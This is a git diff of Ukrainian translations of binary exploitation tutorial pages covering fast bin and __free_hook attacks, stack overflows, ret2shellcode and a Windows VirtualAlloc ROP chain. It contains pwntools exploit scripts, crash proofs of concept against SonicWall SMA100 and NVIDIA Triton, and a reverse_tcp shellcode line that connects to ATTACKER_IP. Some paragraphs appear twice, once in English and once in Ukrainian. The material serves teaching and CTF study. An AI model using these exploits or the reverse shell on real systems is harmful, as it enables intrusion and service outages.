attack**, перезаписавши `global_max_fast` на дуже велике значення, що дозволяє тепер створювати chunks у fast bins. - Тепер виконується **fast bin attack**: -- Насамперед з'ясовано, що можна працювати з fast **chunks розміру 200** у розташуванні **`__free_hook`**: +- По-перше встановлено, що можна працювати з fast **chunks розміром 200** у локації **`__free_hook`**: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +116,21 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Якщо вдасться отримати fast chunk розміру 0x200 у цьому місці, стане можливим перезаписати вказівник на функцію, яка буде виконана. -- Для цього створюється новий chunk розміру `0xfc` і merge function викликається з тим вказівником двічі, таким чином ми отримуємо вказівник на звільнений chunk розміру `0xfc*2 = 0x1f8` у fast bin. -- Потім у цьому chunk викликається edit, щоб змінити адресу **`fd`** цього fast bin так, щоб вона вказувала на попередню функцію **`__free_hook`**. -- Потім створюється chunk розміру `0x1f8`, щоб вибрати з fast bin попередній марний chunk; після цього створюється ще один chunk розміру `0x1f8`, щоб отримати fast bin chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**. -- І нарешті chunk, що містить рядок `/bin/sh\x00`, звільняється викликом delete, що спричиняє виклик **`__free_hook`**, яка тепер вказує на system з `/bin/sh\x00` як параметром. -- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Інший приклад використання 1B overflow для консолідації чанків в unsorted bin і отримання libc infoleak, а потім виконання fast bin attack для перезапису malloc hook на адресу one gadget. -- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Можна виділяти лише чанки розміру більше `0x100`. -- Перезаписати `global_max_fast` за допомогою Unsorted Bin attack (працює 1/16 разів через ASLR, бо потрібно змінити 12 бітів, але нам потрібно змінити 16). -- Fast Bin attack для модифікації глобального масиву чанків. Це дає примітив довільного читання/запису, що дозволяє змінювати GOT і вказати деяку функцію на `system`. +- Якщо вдасться отримати fast chunk розміру 0x200 у цій локації, буде можливість перезаписати function pointer, який буде виконано. +- Для цього створюють новий chunk розміру `0xfc` і викликають merge з цим вказівником двічі, таким чином отримують вказівник на freed chunk розміру `0xfc*2 = 0x1f8` у fast bin. +- Потім викликають edit для цього chunk, щоб змінити адресу **`fd`** fast bin і вказати її на попередній **`__free_hook`**. +- Далі створюють chunk розміру `0x1f8`, щоб отримати з fast bin попередній непотрібний chunk, після чого створюють ще один chunk розміру `0x1f8`, щоб отримати fast bin chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**. +- І нарешті chunk, що містить рядок `/bin/sh\x00`, звільняється викликом delete, що trigger'ить **`__free_hook`**, який тепер вказує на system з параметром `/bin/sh\x00`. -## References +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- Ще один приклад зловживання 1B overflow для консолідації chunks в unsorted bin і отримання libc infoleak, а потім виконання fast bin attack для перезапису malloc hook адресою one gadget. + +- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) +- Можна виділяти лише chunks розміром більше ніж `0x100`. +- Перезапис `global_max_fast` за допомогою Unsorted Bin attack (працює 1/16 разів через ASLR, бо потрібно модифікувати 12 біт, але треба змінити 16 біт). +- Fast Bin attack для зміни глобального масиву chunks. Це дає довільні read/write примітиви, що дозволяє змінювати GOT і вказати деякі функції на `system`. + +## Посилання - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4386c1d25..2a2e9bed5 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -1,18 +1,26 @@ -# Stack Overflow +# Переповнення стеку {{#include ../../banners/hacktricks-training.md}} -## Що таке Stack Overflow +## Що таке переповнення стеку -**stack overflow** — це вразливість, яка виникає, коли програма записує у stack більше даних, ніж для нього виділено. Ці зайві дані **перезапишуть сусідню ділянку пам'яті**, що призведе до пошкодження коректних даних, порушення потоку управління та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж вхідних даних. +A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. -Головна проблема такого перезапису в тому, що **saved instruction pointer (EIP/RIP)** та **saved base pointer (EBP/RBP)** для повернення до попередньої функції **зберігаються на stack**. Отже, атакуючий зможе їх перезаписати і **контролювати потік виконання програми**. +Переповнення стеку — це вразливість, що виникає, коли програма записує в стек більше даних, ніж йому виділено. Ці зайві дані **перезаписують сусідні області пам'яті**, що призводить до пошкодження коректних даних, порушення потоку керування та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж введення. -Зазвичай вразливість виникає через те, що функція **копіює у stack більше байтів, ніж для неї виділено**, тим самим перезаписуючи інші частини stack. +The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. -Деякі поширені функції, вразливі до цього: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції на кшталт **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть використовуватися вразливо, якщо вказана довжина перевищує виділений обсяг. +Головна проблема такого перезапису в тому, що **збережений вказівник інструкцій (EIP/RIP)** і **збережений базовий вказівник (EBP/RBP)**, які використовуються для повернення до попередньої функції, **зберігаються у стеку**. Тому атакуючий може перезаписати їх і **контролювати потік виконання програми**. -Наприклад, наступні функції можуть бути вразливими: +The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. + +Вразливість зазвичай виникає через те, що функція **копіює в стек більше байтів, ніж їй виділено**, і таким чином може перезаписати інші частини стеку. + +Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. + +Деякі поширені функції, вразливі до цього: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції на кшталт **`fgets`**, **`read`** і **`memcpy`**, які приймають аргумент довжини, можуть використовуватися небезпечно, якщо вказана довжина більша за виділену. + +For example, the following functions could be vulnerable: ```c void vulnerable() { char buffer[128]; @@ -21,13 +29,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Знаходження зсувів для Stack Overflows +### Finding Stack Overflows offsets -Найпоширеніший спосіб знайти Stack Overflows — подати дуже великий вхід з `A` (наприклад `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, яке вказує, що **було спробовано звернутися до адреси `0x41414141`**. +Найпоширеніший спосіб виявити stack overflows — подати дуже великий ввід `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **було спробовано звернутися до адреси `0x41414141`**. -Крім того, коли ви виявили, що існує Stack Overflow вразливість, вам потрібно знайти зсув, необхідний для того, щоб можна було **перезаписати адресу повернення**. Для цього зазвичай використовують **De Bruijn sequence.** Для заданого алфавіту розміру _k_ і підпослідовностей довжини _n_ це є **циклічна послідовність, у якій кожна можлива підпослідовність довжини _n_ з'являється рівно один раз** як суцільна підпослідовність. +Більше того, коли ви виявили, що є Stack Overflow vulnerability, потрібно буде знайти offset до того місця, де можна **overwrite the return address**; для цього зазвичай використовують **De Bruijn sequence.** Для заданої абетки розміру _k_ і підпослідовностей довжини _n_ це **циклічна послідовність, у якій кожна можлива підпослідовність довжини _n_ трапляється рівно один раз** як суміжна підпослідовність. -Таким чином, замість того, щоб вручну визначати, який зсув потрібен для контролю EIP, можна використати як наповнювач одну з таких послідовностей і потім знайти зсув байтів, які в кінці перезаписали її. +Таким чином, замість того, щоб вгадувати вручну, який offset потрібен для контролю EIP, можна використати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали. Для цього можна використати **pwntools**: ```python @@ -48,16 +56,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Exploiting Stack Overflows +## Експлуатація переповнень стеку -Під час overflow (припустивши, що розмір overflow достатньо великий) ви зможете **overwrite** значення локальних змінних у stack, поки не досягнете збережених **EBP/RBP and EIP/RIP (or even more)**.\ -Найпоширеніший спосіб зловживання цим типом вразливості — **modifying the return address**, тож коли функція завершиться, **control flow буде перенаправлений куди вказано в цьому вказівнику**. +Під час переповнення (за умови, що розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних у стеку до моменту досягнення збережених **EBP/RBP and EIP/RIP (or even more)**.\ +Найпоширеніший спосіб використати таку вразливість — **змінити адресу повернення**, щоб коли функція завершиться **потік виконання було перенаправлено туди, куди вказано у цьому вказівнику**. -Однак в інших сценаріях може бути достатньо просто **overwriting some variables values in the stack** (наприклад у простих CTF challenges). +Проте в інших сценаріях іноді достатньо просто **перезаписати деякі значення змінних у стеку** для експлуатації (наприклад, у простих CTF-завданнях). ### Ret2win -У цьому типі CTF challenges у бінарі є **function** всередині, яка **ніколи не викликається**, і яку **потрібно викликати, щоб виграти**. Для таких завдань потрібно знайти **offset to overwrite the return address** та **find the address of the function** для виклику (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб коли вразлива функція повернеться, прихована функція була викликана: +У такого роду CTF-завданнях у бінарному файлі є **функція**, яка **ніколи не викликається**, але яку **потрібно викликати, щоб перемогти**. Для таких задач потрібно лише знайти **зсув для перезапису адреси повернення** і **знайти адресу функції**, яку викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) вимкнений), тож коли вразлива функція повернеться, прихована функція буде викликана: {{#ref}} @@ -66,7 +74,7 @@ ret2win/ ### Stack Shellcode -У цьому сценарії атакуючий може розмістити shellcode в stack і використати контрольований EIP/RIP, щоб перейти до shellcode і виконати довільний код: +У цьому сценарії атакуючий може розмістити shellcode у стеку та скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код: {{#ref}} @@ -75,7 +83,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -На 32-bit Windows overflow може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої return address. Експлуатація зазвичай замінює SEH pointer на POP POP RET gadget та використовує 4-байтне поле nSEH для короткого стрибка, щоб повернутися в великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp в nSEH, який потрапляє на 5-байтний near jmp, розміщений безпосередньо перед nSEH, щоб відскочити на сотні байтів назад до початку payload. +На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. Експлуатація зазвичай замінює вказівник SEH на POP POP RET gadget і використовує 4-байтове поле nSEH для короткого переходу, щоб повернутися у великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp у nSEH, який приземляється на 5-байтовий near jmp, розташований безпосередньо перед nSEH, щоб здійснити стрибок на сотні байтів назад до початку payload. {{#ref}} @@ -84,7 +92,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Ця техніка є фундаментальною основою для обходу основного захисту попереднього підходу: **No executable stack (NX)**. Вона також дозволяє реалізувати кілька інших технік (ret2lib, ret2syscall...), які врешті виконують довільні команди, зловживаючи існуючими інструкціями в бінарі: +Ця техніка є базовим підходом для обходу основного захисту попереднього підходу: **No executable stack (NX)**. Вона також дозволяє застосовувати інші техніки (ret2lib, ret2syscall...), які в кінцевому підсумку виконують довільні команди, використовуючи наявні інструкції в бінарному файлі: {{#ref}} @@ -93,16 +101,16 @@ windows-seh-overflow.md ## Heap Overflows -Overflow трапляється не завжди в stack, він також може бути в **heap**, наприклад: +Переповнення не завжди відбувається у стеку, воно також може бути в **heap**, наприклад: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Типи захистів +## Types of protections -Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей — перегляньте їх у: +Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей, перегляньте їх у: {{#ref}} @@ -111,34 +119,34 @@ Overflow трапляється не завжди в stack, він також м ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Яскрава демонстрація того, чому **`sscanf` should never be trusted for parsing untrusted input** з’явилася у 2025 році в SonicWall SMA100 SSL-VPN appliance. -Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягнути версію та endpoint з будь-якого URI, що починається з `/__api__/`: +Добре підтвердження того, чому **`sscanf` ніколи не слід довіряти для розбору ненадійного вводу** з'явилося у 2025 році в SonicWall’s SMA100 SSL-VPN appliance. +Уразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та endpoint з будь-якого URI, що починається з `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. Перша конверсія (`%2s`) безпечно зберігає **два** байти в `version` (наприклад `"v1"`). -2. Друга конверсія (`%s`) **не має специфікатора довжини**, тому `sscanf` продовжуватиме копіювання **до першого байта NUL**. -3. Оскільки `endpoint` розташований на **stack** і має довжину **0x800 байтів**, передача шляху довшого за 0x800 байтів пошкоджує все, що знаходиться після буфера ‑ включно з **stack canary** та **saved return address**. +1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`). +2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**. +3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**. -Достатньо single-line proof-of-concept, щоб спричинити crash **before authentication**: +Достатньо однорядкового proof-of-concept, щоб викликати crash **before authentication**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Навіть незважаючи на те, що stack canaries переривають процес, атакуючий все одно отримує примітив **Denial-of-Service** (а при додаткових information leaks — можливе виконання коду). Урок простий: +Навіть якщо stack canaries припиняють процес, нападник усе ще отримує примітив **Denial-of-Service** (а з додатковими information leaks — можлива й code-execution). Урок простий: * Завжди вказуйте **максимальну ширину поля** (наприклад `%511s`). -* Надавайте перевагу безпечнішим альтернативам, таким як `snprintf`/`strncpy_s`. +* Віддавайте перевагу безпечнішим альтернативам, таким як `snprintf`/`strncpy_s`. -### Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Приклад з реального життя: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька **stack-based overflows**, до яких можна було дістатися через його HTTP API. -Вразливий патерн багаторазово з'являвся в `http_server.cc` та `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька **stack-based overflows**, доступних через його HTTP API. +Уразливий шаблон неодноразово з'являвся в `http_server.cc` та `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,11 +156,11 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, що складають поточне тіло HTTP-запиту. -2. Кожен сегмент призводить до виділення **16-byte** `evbuffer_iovec` на **stack** через `alloca()` — **без будь-якої верхньої межі**. -3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит розбитися на **сотні тисяч 6-byte шматків** (`"1\r\nA\r\n"`). Це призводить до необмеженого зростання `n`, поки **stack** не буде вичерпано. +1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, які складають поточне HTTP тіло запиту. +2. Кожен сегмент спричиняє виділення **16-byte** `evbuffer_iovec` на **stack** через `alloca()` – **без жодних верхніх обмежень**. +3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит бути розбитим на **сотні тисяч 6-byte chunks** (`"1\r\nA\r\n"`). Це змушує `n` необмежено зростати, поки stack не вичерпається. -#### Доказ концепції (DoS) +#### Демонстрація концепції (DoS) ```python #!/usr/bin/env python3 import socket, sys @@ -176,10 +184,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build. +Запит розміром ~3 MB достатній, щоб перезаписати збережену адресу повернення та **crash** демон у збірці за замовчуванням. #### Патч і пом'якшення -Реліз 25.07 замінює небезпечне виділення в стеку на **heap-backed `std::vector`** та коректно обробляє `std::bad_alloc`: +Реліз 25.07 замінює unsafe stack allocation на **heap-backed `std::vector`** та коректно обробляє `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -190,9 +198,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Уроки: -* Ніколи не викликайте `alloca()` з розмірами, контрольованими атакуючим. -* Запити з chunked кодуванням можуть радикально змінювати структуру буферів на сервері. -* Перевіряйте / обмежуйте будь-яке значення, отримане з введення клієнта, *перед* використанням його у виділеннях пам'яті. +* Ніколи не викликайте `alloca()` з attacker-controlled sizes. +* Chunked requests можуть істотно змінювати форму буферів на стороні сервера. +* Перевіряйте та обмежуйте будь-яке значення, отримане з вхідних даних клієнта, перед тим як використовувати його при виділенні пам'яті. ## Посилання * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index e7869678e..182d5ac32 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,9 +4,9 @@ ## Основна інформація -**Stack shellcode** — це техніка, що використовується в **binary exploitation**, коли зловмисник записує shellcode у стек вразливої програми, а потім змінює **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)** так, щоб вони вказували на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче розбивка процесу, включно з простим прикладом на C та тим, як можна написати відповідний експлоїт на Python з використанням **pwntools**. +**Stack shellcode** — це техніка, що використовується в **binary exploitation**, коли атакуючий записує shellcode у стек вразливої програми, а потім змінює **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)** так, щоб він вказував на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче наведено розбір процесу, включно з простим прикладом на C та тим, як можна написати відповідний exploit на Python з використанням **pwntools**. -### C Example: Вразлива програма +### Приклад на C: вразлива програма Почнемо з простого прикладу вразливої програми на C: ```c @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Ця програма уразлива до buffer overflow через використання функції `gets()`. +Ця програма вразлива до переповнення буфера через використання функції `gets()`. ### Компіляція -Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете скористатися такою командою: +Щоб скомпілювати цю програму з відключенням різних захисних механізмів (щоб змоделювати вразливе середовище), можна використати наступну команду: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Вимикає захист стеку. -- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, розміщеного в стеку. +- `-z execstack`: Робить stack виконуваним, що необхідно для виконання shellcode, розміщеного в ньому. - `-no-pie`: Вимикає Position Independent Executable, що полегшує передбачення адреси пам'яті, де буде розміщено наш shellcode. -- `-m32`: Компілює програму як 32-бітний виконуваний файл, часто використовується для простоти при розробці експлойтів. +- `-m32`: Компілірує програму як 32-бітний виконуваний файл, часто використовується для спрощення exploit development. -### Python експлойт з використанням Pwntools +### Python Exploit using Pwntools -Ось як ви могли б написати експлойт на Python з використанням **pwntools** для виконання атаки **ret2shellcode**: +Нижче показано, як можна написати exploit на Python з використанням **pwntools** для виконання атаки **ret2shellcode**: ```python from pwn import * @@ -66,46 +66,27 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +Цей скрипт будує payload, що складається з **NOP slide**, **shellcode**, а потім перезаписує **EIP** адресою, яка вказує на NOP slide, гарантуючи виконання shellcode. -Скрипт будує payload, що складається з **NOP slide**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP slide, забезпечуючи виконання shellcode. - -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. - -**NOP slide** (`asm('nop')`) використовується для збільшення ймовірності, що виконання "провалиться" у наш shellcode незалежно від точної адреси. Відрегулюйте аргумент `p32()` до початкової адреси вашого буфера плюс офсет, щоб потрапити в NOP slide. +The **NOP slide** (`asm('nop')`) використовується, щоб підвищити ймовірність того, що виконання "з'їде" в наш shellcode незалежно від точної адреси. Відкоригуйте аргумент `p32()` до стартової адреси вашого buffer плюс offset, щоб потрапити в NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. - -На сучасних Windows стек не є виконуваним (DEP/NX). Поширений спосіб все ж виконати stack-resident shellcode після stack BOF — побудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити регіон стеку виконуваним, а потім повернутися в shellcode, доданий після ланцюжка. +На сучасних Windows стек не є виконуваним (DEP/NX). Звичайний спосіб все ж виконати shellcode, розташований у стеці після stack BOF — це збудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити ділянку стеку виконуваною, а потім повернутися в shellcode, доданий після ланцюга. Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload -- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000) +- RCX = lpAddress → виберіть адресу в поточному stack (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload +- RDX = dwSize → достатній для вашого chain + shellcode (наприклад, 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. -Ключові моменти (Win64 calling convention): -- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → виберіть адресу у поточному стеку (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload -- RDX = dwSize → достатньо великий для вашого chain + shellcode (наприклад, 0x1000) -- R8 = flAllocationType = MEM_COMMIT (0x1000) -- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) -- Повернення безпосередньо в shellcode, розташований відразу після chain. - Minimal strategy: 1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. 2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). 3) Place stage-2 shellcode immediately after the chain. -Мінімальна стратегія: -1) Leak базу модуля (наприклад, через format-string, object pointer тощо), щоб обчислити абсолютні адреси гаджетів та IAT під ASLR. -2) Знайдіть гаджети для завантаження RCX/RDX/R8/R9 (послідовності на базі pop або mov/xor) та виклик/cjmp [VirtualAlloc@IAT]. Якщо відсутні прямі pop r8/r9, використайте арифметичні гаджети для синтезу констант (наприклад, встановіть r8=0 і багаторазово додавайте r9=0x40 сорок разів, щоб отримати 0x1000). -3) Розмістіть stage-2 shellcode відразу після chain. - Example layout (conceptual): ``` # ... padding up to saved RIP ... @@ -123,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -За допомогою constrained gadget set можна опосередковано сформувати значення регістрів, наприклад: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 з rbx, зануляє r8 та компенсує стек одним junk qword. -- xor rbx, rsp; ret → ініціалізує rbx поточним значенням RSP. -- push rbx; pop rax; mov rcx, rax; ret → переміщує значення, отримане з RSP, у RCX. +Маючи обмежений набір gadget'ів, можна непрямо сформувати значення регістрів, наприклад: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 із rbx, занулює r8 і компенсує стек зайвим qword. +- xor rbx, rsp; ret → ініціалізує rbx поточним значенням rsp. +- push rbx; pop rax; mov rcx, rax; ret → перемістити значення, похідне від RSP, у RCX. -Pwntools sketch (при наявній відомій базі та gadgets): +Приклад для Pwntools (за наявності відомої base та gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -152,29 +133,29 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Поради: -- VirtualProtect працює аналогічно, якщо краще зробити існуючий буфер RX; порядок параметрів інший. -- Якщо простору на stack мало, виділіть RWX в іншому місці (RCX=NULL) і jmp у цей новий регіон замість повторного використання stack. -- Завжди враховуйте gadgets, які змінюють RSP (e.g., add rsp, 8; ret) шляхом вставлення junk qwords. +- VirtualProtect працює подібно, якщо надання існуючому буферу RX є бажанішим; порядок параметрів відрізняється. +- Якщо місця в стеку мало, виділіть RWX в іншому місці (RCX=NULL) і jmp до цього нового регіону замість повторного використання стеку. +- Завжди враховуйте гаджети, що змінюють RSP (e.g., add rsp, 8; ret), вставляючи junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинно бути відключено**, щоб адреса була надійною між виконаннями; інакше адреса, куди буде збережено функцію, не завжди буде однакова і вам знадобиться деякий leak, щоб з’ясувати, де завантажена win function. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути відключені, інакше скомпрометована EIP return address ніколи не буде використана. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** захист перешкоджатиме виконанню shellcode всередині stack, оскільки цей регіон не буде виконуваним. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинен бути вимкнений** для того, щоб адреса була надійною між виконаннями, інакше адреса, куди буде збережена функція, не завжди буде однаковою і вам знадобиться якийсь leak, щоб з’ясувати, де завантажена win function. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **повинні бути також вимкнені**, інакше скомпрометована адреса повернення EIP ніколи не буде виконана. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** захист запобіг би виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним. -## Інші приклади та посилання +## Інші приклади та референси - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR з leak адреси stack, запис shellcode та перехід до нього +- 64bit, ASLR з leak адресою стеку, записати shellcode і перейти до нього - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR з leak адреси stack, запис shellcode та перехід до нього +- 32 bit, ASLR з leak стеку, записати shellcode і перейти до нього - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR з leak адреси stack, порівняння, щоб запобігти виклику exit(), перезапис змінної значенням, запис shellcode та перехід до нього +- 32 bit, ASLR з leak стеку, порівняння щоб запобігти виклику exit(), перезапис змінної значенням і запис shellcode та перехід до нього - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, без ASLR, ROP gadget для зроблення stack виконувальним 